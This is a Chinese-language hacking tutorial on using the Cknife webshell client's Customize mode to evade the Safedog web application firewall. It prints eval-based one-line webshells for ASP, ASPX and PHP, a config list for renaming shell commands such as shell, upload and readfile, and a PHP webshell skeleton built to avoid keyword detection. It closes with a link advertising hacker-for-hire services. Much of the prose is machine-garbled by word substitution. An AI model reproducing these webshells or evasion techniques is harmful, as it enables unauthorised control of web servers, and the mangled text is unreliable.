打狗棒法之:Cknife(C刀)自定义形式秒过安全狗
许多朋友在运用Cknife时都误以为她仅仅菜刀的跨渠道升级版,仅仅多了跨渠道的功用,其实小伙伴们还没有用到精华之处,她其实也是一款过WAF的利器。没有给咱们解说怎么去运用它这是我的职责,我是一个有职责心的基佬,我会对咱们担任的,所以有了下面的文章:
0×01 两种办法
Cknife有两种过WAF形式,一种为修正配置文件(Config.ini)过WAF,别的一种为Customize(自界说)形式过WAF。今日以自界说形式为例实例解说秒过安全狗,当然文章发布往后各大WAF厂商必定会将某些特征列入黑名单,这儿仅仅抛砖引玉供给思路。
0×02 ReadMe.txt
许多朋友在运用软件的时分都很少会重视她,这儿我附上它的有关于过WAF方面的一些内容,请咱们仔细阅读赤色部分。
[此处省掉1W字]
运用说明:
服务端脚本支撑ASP、ASPX、PHP、JSP、Customize(自界说)。
代码包括且不限于如下代码(只需能构造出相似eval的函数就行,比方PHP的create_function、assert等)
ASP:
eval request("Cknife")%>
ASP.NET:
"Jscript"%>"Cknife"],"unsafe");%>
PHP:
@eval($_POST['Cknife']);?>
JSP:
[代码详见1.jsp]
Customize:
自界说类型,功用代码在服务端保存,理论上支撑一切动态脚本,只需正确与C刀进行交互即可。此形式可按需定制,比方只需阅读目录,或是只需虚拟终端功用,代码能够很简略。
过WAF:
这是一款跨渠道的根据配置文件的我国菜刀,把一切操作给予用户来界说,主程序仅仅图形的展现,以及数据的发送。
我分开了每一个过程写入到配置文件里边,用户能够自界说任何代码,包括更改参数称号,参数内容。
比方:
SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbus
SPL=->| 表明截取数据的开始符号
SPR=|
除了修正以上参数过WAF外,程序还额定供给了一种Customize过WAF的形式。
Customize形式原本是用于支撑一些程序默许不支撑的脚本,比方CFM、ASMX、ASHX、PY等等,只需用户自写的脚天性正确与菜刀进行交互即可。
换一个考虑方法,假如咱们自写一个PHP脚本完成了列文件以及目录的功用,它能够正确的与C刀进行交互,这个时分假如咱们挑选PHP(Eval)的衔接方法就会衔接失利。
应该挑选Customize形式进行衔接。有人说为什么一句话就能够衔接,你偏偏还要写这么多代码用Customize形式衔接?假如一个很厉害的WAF检测eval,assert等关键词
,你的一句话实在是饶不过,这个时分你能够不必一句话,就在PHP脚本里用正常代码完成列文件以及目录,然后用Customize形式衔接就达到了过WAF的意图。
Customize(自界说)形式跟其他形式相同,每一个过程也都写入到配置文件里边,用户相同能够参数称号以及参数内容。
比方你自写了用Customize形式衔接的Customize.php服务端。
显现主页功用提交的参数应该是:暗码=1&action=index以及暗码=1&action=readdict。
假如C刀遍及今后WAF厂商必定会把readdict列入黑名单,这个时分你就能够修正readdict的称号为其他称号,相同能够修正action的称号,也能够修正1为其他字符
CUS_MAKE=1
CUS_INDEX=index
CUS_READDICT=readdict
CUS_READFILE=readfile
CUS_SAVEFILE=savefile
CUS_DELETE=delete
CUS_RENAME=rename
CUS_NEWDICT=newdict
CUS_UPLOAD=upload
CUS_DOWNLOAD=download
CUS_SHELL=shell
[此处省掉1W字]
0×03 自界说形式过WAF原理
假如仅仅运用一句话,许多厂商都查杀了eval等灵敏关键词,也查杀了传递过程中数据包中的灵敏关键词。咱们只需要正常的完成列目录、读文件等功用而且没有包括eval等灵敏关键词就能够绕过WAF,即服务端不运用一句话,而是把功用代码都放在服务端来履行,客户端提交正常的数据包。
0×04 过狗预备
有的朋友说还要自己写列目录、读文件等等这些功用啊,那必定没戏了。其实不需要自己写,只需要复制粘贴修正即可。
你要有点编程根底(不必忧虑只需会if句子就行),然后依照我给的结构增加就行。以PHP为例:
结构如下:
$pwd= 'Cknife'; //暗码
if($_POST [$pwd] == 1) {
$act = $_POST ['action']; // action称号
echo ("->|"); // 前分隔符
if ($act == 'index') { // 显现主页功用
} else if ($act == 'readdict') { // 读取目录功用
} else if ($act == …) // 你想要完成的功用,能够从Config.ini里边解密出来运用
{
}
echo ("|/ 后分隔符
}
?>
首要翻开咋们心爱的Config.ini文件,找到PHP_INDEX
[1] [2] 黑客接单网